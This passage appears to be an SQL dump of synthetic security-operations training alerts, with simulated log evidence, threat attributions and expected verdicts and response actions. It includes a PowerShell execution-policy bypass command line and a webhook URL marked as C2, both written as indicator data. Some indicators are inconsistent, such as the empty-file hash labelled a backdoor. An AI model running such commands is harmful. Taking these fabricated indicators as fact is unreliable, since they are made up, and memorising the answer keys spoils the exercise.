1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1774, 'Suspicious Login Attempt from Known IP Range', 'medium', 'Wazuh', 'Multiple login failures were detected from an IP range known for benign network scans, potentially triggering a false positive.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:17:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"192.168.0.50\",\"username\":\"admin\",\"hostname\":\"gateway01\",\"failed_attempts\":10}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with benign scanning activities; no malicious intent\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted gateway\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Despite the failed login attempts, the source IP is known for benign activities and does not indicate a true threat.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-15T20:57:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-15T20:56:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-15T20:55:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-15T20:54:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1775, 'Cozy Bear Process Hollowing Attack', 'critical', 'Splunk', 'Detected a process hollowing attack on a healthcare network server, likely linked to Cozy Bear\'s recent campaigns.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:50:21Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.5.75\",\"dst_ip\":\"192.168.5.76\",\"username\":\"svc_process\",\"hostname\":\"server03\",\"command_line\":\"powershell.exe -exec bypass -file C:\\\\temp\\\\malicious.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to process hollowing malware used by Cozy Bear\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -exec bypass -file C:\\\\temp\\\\malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process execution using PowerShell bypass technique\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.5.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected server\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process hollowing technique is consistent with Cozy Bear\'s known TTPs, indicating a serious compromise.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1776, 'APT41 Spear-Phishing Attempt with Malicious Attachment', 'high', 'MISP', 'A spear-phishing email was detected targeting finance employees with a malicious Excel attachment that exploits a zero-day vulnerability.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"hostname\":\"FIN-EXCH-01\",\"email_sender\":\"hr@fakedomain.com\",\"subject\":\"Urgent: Q1 Financial Report\",\"attachment_name\":\"Financial_Report_Q1.xls\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 112 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"hr@fakedomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain involved in multiple spear-phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Excel zero-day exploit\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a known malicious IP and included a file hash associated with zero-day exploits.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1777, 'Lazarus Group Using Discord for C2 Communication', 'critical', 'ThreatConnect', 'Lazarus Group has been detected using Discord as a C2 channel to control malware on compromised financial systems.', 'Data Exfil', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T02:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.2\",\"username\":\"asmith\",\"hostname\":\"FIN-SERV-09\",\"domain\":\"discordapp.com\",\"url\":\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP linked to C2 infrastructure for Lazarus Group\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL used for C2 communication by known APT group\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"discordapp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Domain frequently used in benign and malicious activity\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The network traffic indicates data exfiltration via Discord, associated with the Lazarus Group.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1778, 'Cozy Bear Supply Chain Attack - Malicious Software Update', 'critical', 'Recorded Future', 'A software update from a compromised vendor was detected, containing a backdoor used by Cozy Bear to infiltrate financial systems.', 'Malware', 'T1195', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T01:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.10\",\"hostname\":\"FIN-APP-03\",\"command_line\":\"C:\\\\Program Files\\\\Vendor\\\\Update\\\\updater.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Cozy Bear backdoor\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\Vendor\\\\Update\\\\updater.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable used in known supply chain attack\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The update process executed a binary with a hash linked to Cozy Bear\'s backdoor.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
